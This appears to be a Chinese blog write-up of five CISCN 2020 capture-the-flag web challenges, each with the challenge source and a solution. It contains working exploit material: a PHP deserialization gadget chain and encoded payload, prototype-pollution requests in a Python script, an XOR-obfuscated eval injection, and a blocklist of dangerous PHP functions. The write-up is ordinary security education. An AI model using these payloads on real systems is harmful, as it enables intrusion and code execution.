ciscn2020初赛

2020-08-21 18:08:00
ctf - wp - ciscn

easyphp

源码给出:

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

当pcntl_fork()创建子进程成功后,在父进程内,返回子进程号,在子进程内返回0,失败则返回-1

我们要让程序进入主线程的执行,就得让当前线程挂掉,不过正则原因a没办法传进程类的函数,不过通过套一个call_user_func我们就能达成绕过正则。

pcntl_wait
pcntl_waitpid

上面两个函数都能让当前线程挂起,随意调用哪一个都行。

http://eci-2ze4ps1zb1ad4frxtae2.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid

flag{b33c626e-c4ca-449e-b011-3d6399396d1c}

babyunserialize

源码泄露,主页有个反序列化点。

搜入口点找到cli\ws.php:

function __destruct() {
    if (isset($this->server->events['disconnect']) &&
        is_callable($func=$this->server->events['disconnect']))
        $func($this);
}

func可控,不过链了一个server,我们可以直接控制events来让func可控。

$func($this);,先找找看call,这里可以搜下找到db\sql\mapper.php比较有意思:

function __call($func,$args) {
    return call_user_func_array(
        (array_key_exists($func,$this->props)?
         $this->props[$func]:
         $this->$func),$args
    );
}

props可控,再找找搜下找到一个find方法:

foreach ($this->adhoc as $key=>$field)
$this->db->quotekey($key);

db可控,只要db不存在quotekey则调用db的call了,因为两个点都在同一个类里面,直接嵌套。

propsadhoc是可控的,我们往props里面压一个键为quotekey的数组,值就是我们要调用的方法了;adhoc数组的键则是调用的参数。

使用agent类需要通过base autoload 函数加载 /lib/ws.php才能用,需要套一层ws。

<?php
namespace DB{
    abstract class Cursor  implements \IteratorAggregate {}
}


namespace DB\SQL{
    class Mapper extends \DB\Cursor{
        protected
            $props=["quotekey"=>"phpinfo"],
            $adhoc=[-1=>["expr"=>""]],
            $db;
        function offsetExists($offset){}
        function offsetGet($offset){}
        function offsetSet($offset, $value){}
        function offsetUnset($offset){}
        function getIterator(){}
        function __construct($val){
            $this->db = $val;
        }
    }
}
namespace CLI{
    class Agent {
        protected  $server="";
        public $events;
        public function __construct(){
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
            $this->server=$this;

        }
    }
    class WS{}
}
namespace {
    $a = new \CLI\WS();
    $a->a = new \CLI\Agent();
    echo urlencode(serialize($a));

}

payload:

O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A2%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D

flag依旧phpinfo。

easytrick

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

弱类型。

md5相等且长度较短说明常规做法都没办法,要的就是两个不同类型的变量被当成字符串处理时是相同,但在做强弱类型比较时所代表的含义不相同。

这里做了转型:

$this->trick1 = (string)$this->trick1;

php里面溢出会有一个inf,做比较时强弱类型比较都不是代表字符串。

double(INF)

payload:

class trick{
    public $trick1=1/0;
    public $trick2=1/0;
    public function __destruct(){
        // $this->trick1 = (string)$this->trick1;
        // if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
        //     die("你太长了");
        // }
        // if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
        //      "flag";
        // }
    }
}

$tr = new trick();
echo serialize($tr);
http://eci-2zeii3a0go4aj5xxe1uc.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

flag{9f9303b3-a793-47bc-9033-387cd91acdab}

littlegame

源码(部分):

const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

可以看到拿flag需要密码,但密码在环境中没办法取到,先看SpawnPoint这个路由默认给我们设置了一个字典,然后又跑到Privilege,这里调用了setFn,本地测试发现就是给我们在knight这个字典上面设置键值对,感觉有点原型链污染的意思, 找找这个项目会发现用法:

const obj = {};
set(obj, 'a.b.c', 'd');
console.log(obj);
//=> { a: { b: { c: 'd' } } }

简直是给原型链污染打造的,knight跟admin都是字典,直接给他们加上一个键值对。

{"NewAttributeKey":"__proto__.hhhm","NewAttributeValue":"hhhm"}

访问key[hhhm]就出来hhhm

payload:

import threading
import requests
import time
url = "http://eci-2zebqdx3ky4mm9liybu4.cloudeci1.ichunqiu.com:8888"
req = requests.session()
req.get(url+"/SpawnPoint")

def sendPayload():
    r = req.post(url+"/DeveloperControlPanel",json={"key":"hhhm","password":"hhhm"})
    print(r.text)


r = req.post(url+"/Privilege",json={"NewAttributeKey":"__proto__.hhhm","NewAttributeValue":"hhhm"})
print(r.text)

threading.Thread(target=sendPayload).start()

rceme

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

先是第一个正则标识了模板格式:

$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';

{if:(字符串)}(){end if}

后面正则滤了不可见字符,因为最后调用了eval,可以用可见字符来异或生成phpinfo。

<?php
for($i=33;$i<127;$i++){
    for($j=33;$j<127;$j++){
        echo sprintf("%s^%s",chr($i),chr($j))."=>".(chr($i)^chr($j))."\n";
    }
}
?> 

套入模板中:

{if: ('SSSS|Ry'^'%23%3b%23%3a246')()}(){end%20%20 if}

flag依旧在phpinfo里面。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号